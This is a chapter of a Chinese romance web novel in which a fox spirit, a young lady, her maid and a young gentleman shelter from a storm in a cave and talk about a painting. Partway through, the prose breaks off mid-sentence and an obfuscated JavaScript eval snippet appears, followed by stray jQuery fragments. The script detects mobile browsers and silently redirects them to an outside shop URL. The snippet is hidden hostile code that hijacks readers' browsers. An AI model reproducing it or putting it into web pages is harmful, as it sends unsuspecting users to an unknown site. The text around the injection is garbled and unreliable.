不一会儿,冬儿手里握着一把蒲公英急匆匆返回,心月正拿着沾了水的帕子清洗伤口。
“小姐,心月姑娘,我看到谢公子了。”
“什么?”两人同时开口。
“不仅有谢公子,还有好些人呢,看样子都是少爷公子的。”
“他们没有看到你吧?”乔婉焦急发问。
冬儿急忙摇头:“我听到声响就藏起来了,但我又担心心月姑娘,正好谢公子的一个随从走到了旁边,我就悄悄喊住了他。”
冬儿怯生生看过来,见小姐没有生气,才又接着开口。
“我过来时谢公子借口有事已经没往前走了,待其他人走了想必就会过来了。”
心月开口:“只有我家少爷一人吗?可有见到我们表少爷?”
冬儿回忆了一下,摇了摇头:“未曾见到。”
心月有些疑惑,前几日听到他们在谈论今日要到爱莲园赏荷,之后再到更远的那处池塘游玩。
今日一早也见到他们二人相携出了谢府,怎么现在又没和谢灵澈待在一处?
不过这样也好,她由疑惑转成了喜悦,烦人精不在,她也不用分心应付了。
思忖间,远远地看见谢灵澈带着两名小厮爬上了这处山坡。
走近几步,谢灵澈令小厮停下,自己往这边走过来。
“乔小姐。”他拱手为礼。
乔婉回过礼道:“我让心月姑娘领我到园子附近的荷花池转转,不曾想她擦伤了脚。”
谢灵澈这才走过来蹲下:“如何了?伤得重吗?”
心月此时早已将蒲公英揉碎,用干净帕子包好了,冬儿还在身后让她靠着。
“多亏乔小姐和冬儿姑娘相助,现下已经敷上药了,过一会儿就能走了。”
“那就好。”谢灵澈起身道谢,乔婉侧过身子不受他的礼。
“心月姑娘替我与我母亲调理,于我母女有大恩,如此举手之劳何足挂齿。”
片刻的沉寂后,谢灵澈再度开口:“眼前便是乔小姐方才说的荷花池?”
乔婉点头:“正是。爱莲园中的荷花固然雅致,但这郊野之处恣意生长的荷花,才更天然灵动。”
“真是君子所见略同。”谢灵澈接话。“再往里走有一处更阔、更幽静的荷花池,我今日本邀了三五好友前去赏玩,只是不知为何池中的荷花皆被毁坏。”
乔婉诧异:“毁坏?是何人所为?”
“不知,但看痕迹,不像是人能做到的,倒像是被巨大的水怪啃食了。”
“这山野间还有水怪?”乔婉睁大了眼睛。
谢灵澈便笑:“我们不过这么一说,只因确实想不到会是哪种野兽所为,乔小姐见笑了。”
乔婉颔首,怅然道:“无缘一见,真是可惜了。”
“今年或许难以见到了,待明年此时,乔小姐可去一观。”
乔婉轻轻点头,转而又望向眼前,道:“此时观赏这处荷花池,也颇有意趣。”
谢灵澈便放眼去看,风荷微漾、莲瓣轻摇,一时心旷神怡。
俄而,天边炸开一声惊雷,众人这才惊觉,远处青山之上已满是沉闷缭绕的黑色雾气。
天幕低垂,铅云密布,一道闪电裂空而绽,雷声再度滚滚而来。
守在远处的小厮已匆匆赶来:“少爷,这……”
没想到会成这样,心月赶忙起身道:“这附近有一处山洞,我们先过去躲躲。”
“心月……”冬儿惊讶地看着她,“你的脚?”
“已经不痛了。”她摆摆手,“快走吧。”
这几位要是淋了雨染了风寒可就不好了。
领着众人往山洞处走,心月点了一下蜃壳。
“多谢了小蜃,反应这么快。”
“嘻嘻,十株水藻哦。”
“五株。”
“九株!”
“三株。”
“七株!”
“成交。”
小蜃气鼓鼓:“又不用你给我摘,每次都是扔池子里让我自己吃,干嘛这么较真!”
心月嘴角一翘,传音:“你都说了是自己吃,就不会偷偷多吃几株吗?”
小蜃醍醐灌顶,进而恼羞成怒:“臭狐狸,你耍我!”
雨点砸下来的时候,几人总算躲进了山洞。
山洞窄小,约摸能挤进七八个人,站着稍一踮脚,头便能撞上洞顶。
三名女子往里挤,谢灵澈便立在洞口处。
“你速速前往园子里,将马车驾来。”又转身吩咐另一名小厮,“你去另赁一辆马车,尽快赶来。”
两人欲走,谢灵澈又喊住:“切莫透露这三位姑娘的事。”
“是!”
山洞内,三人寻了一处堪堪可坐的地方。
将洞内的干草铺好,再三劝心月坐下后,冬儿又细细替乔婉擦去头发上的水珠。
待身上收拾好后,乔婉往外看了一眼。
骤雨倾盆而下,疾风卷着水汽一阵阵地往里刮,她不由地抱紧了身子。
“谢公子。”她唤道,“洞口湿冷,你快进来吧。”
“这……”谢灵澈开口,“这毕竟不好。”
“又非孤男寡女,孔圣人尚且说权宜变通,谢公子又何必过迂?”
谢灵澈沉吟片刻,忽然一拱手,笑说:“乔小姐言之有理,谢某又着相了。”
乔婉一愣,继而会意一笑:“谢公子克己守礼,小女子失之孟浪。”
心月不知他俩言语间打的什么哑谜,只看着谢灵澈被打湿的衣服发愁。
风寒可不是儿戏,若是病重就不好应付了。
她往佩囊中一摸,好在火折子还在,于是伸手递出:“少爷,生火将衣服烤烤吧。”
此处山洞或许是樵夫农人们歇脚避雨之所,角落里堆了些枯枝干草。
谢灵澈与冬儿燃起两处火堆,三名女子围坐一起,谢灵澈则坐在另一边。
一时无人言语,四下只有接连不断的毕剥声与雨点砸落的声音。
忽而,几声巨大的闷雷接连而至,引得四人纷纷往外看。
雨下得更急了,豆点大水珠劈里啪啦地打在石头上,洞口被密密匝匝的雨幕遮住。
“啊!”冬儿忽然惊叫一声。
众人随着她的视线往上看,洞顶有一条蜿蜒的裂缝,正接二连三地往下滴水。
山洞并不大,四人虽说分坐两处,实则离得并不远。
水珠滴落得越来越快,打在火堆上发出嘶嘶的声音。
“不行。”乔婉开口,“这水只会越来越大,再这样下去洞内会积水的。”
“拿干草将裂缝堵一堵。”谢灵澈抓起一把干草,起身抬手往缝隙里填。
剩下三人见状纷纷起身效仿。
但洞内干草本就不多,大部分还被点燃取暖了,全部干草都用完了都只堪堪堵住了几个地方。
填得少的位置还被水冲了下来,烂成泥浆不能再用了。
“小姐……”冬儿焦急开口,“怎么办。”
心月百般犹豫要不要动用法术,就见乔婉转身打开了冬儿背着的竹筒,将里面的画取了出来。
“先用这个撑一撑吧。”她将画展开,作势就要撕扯。
“等等!”谢灵澈断然开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626927|204386||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口,上来止住了乔婉的动作。
意识到自己碰到了对方的手,他赶忙后退一步告罪:“在下一时心急,望乔小姐恕罪。”
“无事。”乔婉喃喃。
谢灵澈继续追问:“此画出自何人之手?”
乔婉敛目低眉,低声回:“街市画摊上随手买的,不必在意。”
“街市画摊竟有此等遗珍,真是没有想到。”谢灵澈连声赞叹。
“此话怎讲?”
“乔小姐有所不知,此画颇具吴炳神韵,尤其是这株荷花的花瓣,与其《出水芙蓉图》有异曲同工之妙。”
谢灵澈激动地伸出指头:“此画若是填了这裂缝,当真暴殄天物,乔小姐好生收着,这裂缝我来堵。”
说着他脱下外袍就往上塞。
“谢公子,这如何使得?当心着凉了!”
“无事,这衣服已然湿透不可穿,我那两名小厮想必片刻后就会驾车过来,凉不着的。”
“少爷说得有理。”心月赶忙上前一同将衣服往缝隙里塞,“不能再拖了,等下火堆都被浇灭了。”
乔婉主仆两人这才将画收好,一同抬手塞衣服。
忽然,衣服的袖口处掉下一个香囊,正巧跌在乔婉脚边。
乔婉低身拾起,香囊束口的带子忽然松开,粉白两色的花瓣纷纷洒落。
“这是……蔷薇花?”说话的是冬儿。
谢灵澈回道:“还没谢过乔小姐所赠蔷薇。”
乔婉面色绯红,垂眸低声道:“非珍非宝,谢公子见笑了。”
“珍宝虽贵终究是死物,哪比得上花之灵韵。”
乔婉垂眸不再回话,四人协力,不过片刻就将缝隙填好,此时外面的雨也渐小,山洞里只有零星的水珠滴落。
谢灵澈提出想仔细看一回画。
冬儿为难地看着乔婉,后者却不动声色地将画取出递了过去。
谢灵澈双手接过徐徐展开,口中惊叹不已。
“细看之下,此画中花瓣的画法不止有吴炳的技法,比之更添了几分灵动,仿佛能摘下来一般。”
他再展开一些,忽然疑惑地“咦”了一声:“这花苞上的蜻蜓,怎么落笔如此不同?”
“乔小姐……”他抬头看向乔婉,后者却早已面若红霞,别过脸去。
半晌,憋红了脸的谢灵澈才又开口:“乔小姐,这真是你在画摊上随手买下的吗?”
一旁的心月终于忍不住了:“这是乔小姐所画。”
谢灵澈双手一抖,险些将画脱出手去。
“闺……闺阁画作……”他吞吞吐吐,“在下唐突了。”
他手忙脚乱地将画卷好,还到乔婉手中。
乔婉轻笑:“谢公子不必自责,不过一幅画而已,方才不曾堵水,来日也将饲火。”
“饲火?”谢灵澈惊愕不已,瞪大了眼睛不可思议地望向乔婉。
“虽说闺阁笔墨不可外传,可古人尚有焚余,此等佳作果真付之一炬岂不叫人痛惜?”
“谢公子一腔热忱,小女子心领。”乔婉淡然开口,“只是先父遗命不可违。”
谢灵澈再度瞪大了双眼:“令尊离世前果然说过此话?”
“倒是不曾,只是先父生前向来如此吩咐,我也早已习惯。”
谢灵澈不再开口,只是神色复杂地望着乔婉,后者浅施一礼,转身将画收到竹筒之中。
他还想说些什么,哒哒的马蹄声从远处传来。
不一会儿,山洞门口便停了两辆马车,小厮撑开伞往洞口而来。
“表哥,心月!”马车里跳下一个熟悉但不愿意看到的身影。